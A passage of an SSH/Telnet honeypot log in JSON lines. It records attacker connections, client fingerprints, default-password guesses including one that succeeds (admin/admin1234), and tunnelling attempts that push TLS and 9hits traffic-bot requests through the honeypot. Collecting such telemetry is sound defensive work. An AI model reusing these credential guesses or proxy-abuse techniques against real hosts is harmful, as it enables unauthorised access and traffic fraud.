7\\xdd\\x9c\\xa0zayg\\xeb\\x8e^\\xd7P\\xa5\\x86\\xbaE\\r\\xd6\\x9eq\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\n\\xea\\xea\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\x9a\\x9a\\x00\\x01\\x00\\x00\\x15\\x00\\xcb\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:43.683015Z","src_ip":"23.175.50.52","session":"ab035b8ba2ab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"172.67.133.8","dst_port":443,"src_ip":"23.175.50.52","src_port":0,"message":"direct-tcp connection request to 172.67.133.8:443 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:43.802717Z","session":"ab035b8ba2ab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4","dst_ip":"172.67.133.8","dst_port":443,"ja4":"t12d1615h2_46e7e9700bed_cadd4ee51f0b","message":"JA4 fingerprint for forwarded TLS to 172.67.133.8:443: t12d1615h2_46e7e9700bed_cadd4ee51f0b","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:43.869427Z","src_ip":"23.175.50.52","session":"ab035b8ba2ab","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"172.67.133.8","dst_port":443,"data":"b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8b\\xe7\\xb5<\\xdc\\xda\\xc6\\xf4pK\\x95\\x04\\x00\\xba\\xc0d\\xd5\\xc8x\\x85\\xce\\xb2i\\x98VgB\\xbe\\xe5\\xee\\xaa\\xf7 \\xc9\\x0e\\x13`J\\xc6\\x08D\\xc91\\xf0\\x9d\\x08\\xa6\\xb6\\x9c\\x87\\x03\\x1a\\x9c\\x10b\\xc6|8\\x08\\xd7.\\xc5\\xc2j\\xb4\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x90Q4\\xb3Q\\xb9\"&\\x04\\xb3\\xacQto\\xe2\\xeaTE\\xe93\\xc6H\\xc7;\\x86g:\\xb8\\xf7<#E\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","id":2,"message":"discarded direct-tcp forward request 2 to 172.67.133.8:443 with data b'\\x16\\x03\\x01\\x02\\x00\\x01\\x00\\x01\\xfc\\x03\\x03\\x8b\\xe7\\xb5<\\xdc\\xda\\xc6\\xf4pK\\x95\\x04\\x00\\xba\\xc0d\\xd5\\xc8x\\x85\\xce\\xb2i\\x98VgB\\xbe\\xe5\\xee\\xaa\\xf7 \\xc9\\x0e\\x13`J\\xc6\\x08D\\xc91\\xf0\\x9d\\x08\\xa6\\xb6\\x9c\\x87\\x03\\x1a\\x9c\\x10b\\xc6|8\\x08\\xd7.\\xc5\\xc2j\\xb4\\x00\"\\x1a\\x1a\\x13\\x01\\x13\\x02\\x13\\x03\\xc0+\\xc0/\\xc0,\\xc00\\xcc\\xa9\\xcc\\xa8\\xc0\\x13\\xc0\\x14\\x00\\x9c\\x00\\x9d\\x00/\\x005\\x00\\n\\x01\\x00\\x01\\x91\\x9a\\x9a\\x00\\x00\\x00\\x00\\x00\\x16\\x00\\x14\\x00\\x00\\x11link.deepmedia.vn\\x00\\x17\\x00\\x00\\xff\\x01\\x00\\x01\\x00\\x00\\n\\x00\\n\\x00\\x08zz\\x00\\x1d\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00\\x00#\\x00\\x00\\x00\\x10\\x00\\x0e\\x00\\x0c\\x02h2\\x08http/1.1\\x00\\x05\\x00\\x05\\x01\\x00\\x00\\x00\\x00\\x00\\r\\x00\\x14\\x00\\x12\\x04\\x03\\x08\\x04\\x04\\x01\\x05\\x03\\x08\\x05\\x05\\x01\\x08\\x06\\x06\\x01\\x02\\x01\\x00\\x12\\x00\\x00\\x003\\x00+\\x00)zz\\x00\\x01\\x00\\x00\\x1d\\x00 \\x90Q4\\xb3Q\\xb9\"&\\x04\\xb3\\xacQto\\xe2\\xeaTE\\xe93\\xc6H\\xc7;\\x86g:\\xb8\\xf7<#E\\x00-\\x00\\x02\\x01\\x01\\x00+\\x00\\x0b\\nJJ\\x03\\x04\\x03\\x03\\x03\\x02\\x03\\x01\\x00\\x1b\\x00\\x03\\x02\\x00\\x02\\xda\\xda\\x00\\x01\\x00\\x00\\x15\\x00\\xc7\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:43.873187Z","src_ip":"23.175.50.52","session":"ab035b8ba2ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":61906,"dst_ip":"159.203.135.109","dst_port":22,"session":"aaffa405a45f","protocol":"ssh","message":"New connection: 91.92.40.36:61906 (159.203.135.109:22) [session: aaffa405a45f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:45.587630Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41962,"dst_ip":"159.203.135.109","dst_port":23,"session":"efbaf5486b31","protocol":"telnet","message":"New connection: 128.199.8.54:41962 (159.203.135.109:23) [session: efbaf5486b31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:45.605523Z"}
{"eventid":"cowrie.login.failed","username":"mysql","password":"Passw0rd","message":"login attempt [mysql/Passw0rd] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:47.327450Z","src_ip":"91.92.40.36","session":"2859ef5eeb7e","protocol":"ssh"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:47.772209Z","src_ip":"91.92.40.36","session":"aaffa405a45f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:47.779462Z","src_ip":"91.92.40.36","session":"aaffa405a45f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"30.4","message":"Connection lost after 30.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:49.613937Z","src_ip":"23.175.50.52","session":"ab035b8ba2ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.7","message":"Connection lost after 10.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:50.192437Z","src_ip":"91.92.40.36","session":"2859ef5eeb7e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"23.148.145.132","src_port":50884,"dst_ip":"10.17.0.5","dst_port":22,"session":"ffc580a17794","protocol":"ssh","message":"New connection: 23.148.145.132:50884 (10.17.0.5:22) [session: ffc580a17794]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:51.148816Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-PuTTY_Release_0.70","message":"Remote SSH version: SSH-2.0-PuTTY_Release_0.70","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:51.153263Z","src_ip":"23.148.145.132","session":"ffc580a17794","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0425c279610910d2d9aef3b285e59b86","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,rsa2048-sha256,rsa1024-sha1,diffie-hellman-group1-sha1;aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-ctr,aes192-cbc,aes128-ctr,aes128-cbc,chacha20-poly1305@openssh.com,blowfish-ctr,blowfish-cbc,3des-ctr,3des-cbc,arcfour256,arcfour128;hmac-sha2-256,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-sha2-256-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-etm@openssh.com;none,zlib","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","rsa2048-sha256","rsa1024-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-rsa","ssh-dss"],"encCS":["aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-ctr","aes192-cbc","aes128-ctr","aes128-cbc","chacha20-poly1305@openssh.com","blowfish-ctr","blowfish-cbc","3des-ctr","3des-cbc","arcfour256","arcfour128"],"macCS":["hmac-sha2-256","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-sha2-256-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-etm@openssh.com"],"compCS":["none","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: 0425c279610910d2d9aef3b285e59b86","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:51.260553Z","src_ip":"23.148.145.132","session":"ffc580a17794","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"65.5","message":"Connection lost after 65.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:53.412444Z","src_ip":"63.141.242.2","session":"9ee03c0cb101","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin1234","message":"login attempt [admin/admin1234] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:54.005260Z","src_ip":"23.148.145.132","session":"ffc580a17794","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"developer","password":"qwerty","message":"login attempt [developer/qwerty] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:54.833354Z","src_ip":"91.92.40.36","session":"aaffa405a45f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"10.6","message":"Connection lost after 10.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:56.182629Z","src_ip":"91.92.40.36","session":"aaffa405a45f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.36","src_port":23502,"dst_ip":"159.203.135.109","dst_port":22,"session":"1477cd916e1c","protocol":"ssh","message":"New connection: 91.92.40.36:23502 (159.203.135.109:22) [session: 1477cd916e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:56.604334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:56.823884Z","src_ip":"91.92.40.36","session":"1477cd916e1c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:56.831153Z","src_ip":"91.92.40.36","session":"1477cd916e1c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"deisy","password":"deisy","message":"login attempt [deisy/deisy] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:58.101835Z","src_ip":"91.92.40.36","session":"1477cd916e1c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.9","message":"Connection lost after 2.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:25:59.520583Z","src_ip":"91.92.40.36","session":"1477cd916e1c","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"159.65.2.87","dst_port":80,"src_ip":"23.148.145.132","src_port":0,"message":"direct-tcp connection request to 159.65.2.87:80 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:02.604960Z","session":"ffc580a17794","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.ja4h","dst_ip":"159.65.2.87","dst_port":80,"ja4h":"po11nn10enus_0af5a74ca4c0_000000000000_000000000000","message":"JA4H fingerprint for forwarded HTTP to 159.65.2.87:80: po11nn10enus_0af5a74ca4c0_000000000000_000000000000","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T21:26:02.620202Z","src_ip":"23.148.145.132","session":"ffc580a17794","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"159.65.2.87","dst_port":80,"data":"b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SUtTI2pmWkdlbmUrVGNCUw%3D%3D9oMjc8%2Bk0bOZpifNRALYqExs4ZbRpGGwxDWRelOYN8Rbiyc708l0z3A0USYl3n5bti847HwiGK3WWhcjgx3rJ48nncvi54sut43aLAnZVLQXdktFW6gPkA2Lm0XDYW%2FZqJXXggFB5hC0zV%2FxmSBr%2BeyrEij6PipuRfX9cfJj5hg38U5%2Bw2HIgMJc9USLzwHkyJZuvZfuCEx98ApHZ8DGqF2qeW2J0nzRYuS7is7%2BDg%2B8MXkBlBu5a%2BryMXkb%2BwGmLl2ei1BqjY1q1QL4mMFqQ7cT%2FErZ5zmTAMk6BYrpkpRiXsRVLBcNpwMK%2FQmJuOJor0aHAVdjqyc817MxrAaOBDSm%2BtSJMjm%2FcztuIsD6Eiuhw1uCnCiy1hOwu%2BfLcVIVrlyeVOYr4TcMTrNnHf6upTto6lEII29WzfwWg74dJtJc4m1bhxoGqB0Xkwe%2FUPoiYZcNo%2FIchHZjwyy4cZOb1o2TbDr2V5SB5I1yyzsUoZ%2BR%2FzukAl99NLqbF9KXtuvtb%2BEOtf00AqYUf7OIN8350CUSrskvAlRsABbM4ihcZhlpcHFK2px%2BO0rtZsijThkHDR6KPiKUAZeUaGL5Eg3YOp3MS5QsTXrTy4%2FZjYHKBhWPxWTf2yhDf45Bpr6HHUOOi2mie5sE7Dk8CxNu873bzstM7yp7qmG2kAvkjxO3kgh31JNk0BjH%2FQ2RQ7xSBW%2FMNMAwukBJiuBOa7FhmIQdUNMVeS70%2BwBZuPkAsBFZa7dp3igd7LHm7WRAxuGcpBNhzmX51akxlA6o4w%2FkCpZYhnGxENUKvbSlGqh5FRnIs%2Brx82ataazc3yAwhkB1CVX760fKqicXOW5flN4iVEFxtOKE%2FOF8z%2BRPke0BQLK5U3h1ItCT1vEZgwDk74ka3Mu6n2K6%2FNDYN%2BPKxBwC5TWba7ruWC%2B8cHOqYCixG9Kb%2BCZFtPJV9kHUcrayMupmAnHlDLk5kXYiGDU7YM8fEKdfG4LgNz1RPhfe8nKGIAD4VkQJY7GqpdQC%2BbR%2FJPD%2BFiBRXzh%2F0UIsww266XPQIE8Ci%2FGJGv0OY7RGjxa99hhmtdau8lLWppBQIX%2BJeFnmfpoZ'","id":0,"message":"discarded direct-tcp forward request 0 to 159.65.2.87:80 with data b'POST /bot/statistic HTTP/1.1\\r\\nHost: api.9hits.com\\r\\nConnection: keep-alive\\r\\nContent-Length: 1194\\r\\nPragma: no-cache\\r\\nCache-Control: no-cache\\r\\nContent-Type: application/x-www-form-urlencoded\\r\\nAccept-Language: en-US\\r\\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36\\r\\nOrigin: http://api.9hits.com\\r\\nAccept-Encoding: gzip, deflate\\r\\n\\r\\n_=SUtTI2pmWkdlbmUrVGNCUw%3D%3D9oMjc8%2Bk0bOZpifNRALYqExs4ZbRpGGwxDWRelOYN8Rbiyc708l0z3A0USYl3n5bti847HwiGK3WWhcjgx3rJ48nncvi54sut43aLAnZVLQXdktFW6gPkA2Lm0XDYW%2FZqJXXggFB5hC0zV%2FxmSBr%2BeyrEij6PipuRfX9cfJj5hg38U5%2Bw2HIgMJc9USLzwHkyJZuvZfuCEx98ApHZ8DGqF2qeW2J0nzRYuS7is7%2BDg%2B8MXkBlBu5a%2BryMXkb%2BwGmLl2ei1BqjY1q1QL4mMFqQ7cT%2FErZ5zmTAMk6BYrpkpRiXsRVLBcNpwMK%2FQmJuOJor0aHAVdjqyc817MxrAaOBDSm%2BtSJMjm%2FcztuIsD6Eiuhw1uCnCiy1hOwu%2BfLcVIVrlyeVOYr4TcMTrNnHf6upTto6lEII29WzfwWg74dJtJc4m1bhxoGqB0Xkwe%2FUPoiYZcNo%2FIchHZjwyy4cZOb1o2TbDr2V5SB5I1yyzsUoZ%2BR%2FzukAl99NLqbF9KXtuvtb%2BEOtf00AqYUf7OIN8350CUSrskvAlRsABbM4ihcZhlpcHFK2px%2BO0rtZsijThkHDR6KPiKUAZeUaGL5Eg3YOp3MS5QsTXrTy4%2FZjYHKBhWPxWTf2yhDf45Bpr6HHUOOi2mie5sE7Dk8CxNu873bzstM7yp7qmG2kAvkjxO3kgh31JNk0BjH%2FQ2RQ7xSBW%2FMNMAwukBJiuBOa7FhmIQdUNMVeS70%2BwBZuPkAsBFZa7dp3igd7LHm7WRAxuGcpBNhzmX51akxlA6o4w%2FkCpZYhnGxENUKvbSlGqh5FRnIs%2Brx82ataazc3yAwhkB1CVX760fKqicXOW5flN4iVEFxtOKE%2FOF8z%2BRPke0BQLK5U3h1ItCT1vEZgwDk74ka3Mu6n2K6%2FNDYN%2BPKxBwC5TWba7ruWC%2B8cHOqYCixG9Kb%2BCZFtPJV9kHUcrayMupmAnHlDLk5kXYiGDU7YM8fEKdfG4LgNz1RPhfe8nKGIAD4VkQJY7GqpdQC%2BbR%2FJPD%2BFiBRXzh%2F0UIsww266XPQIE8Ci%2FGJGv0OY7RGjxa99hhmtdau8lLWppBQIX%2BJeFnmfpoZ'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e4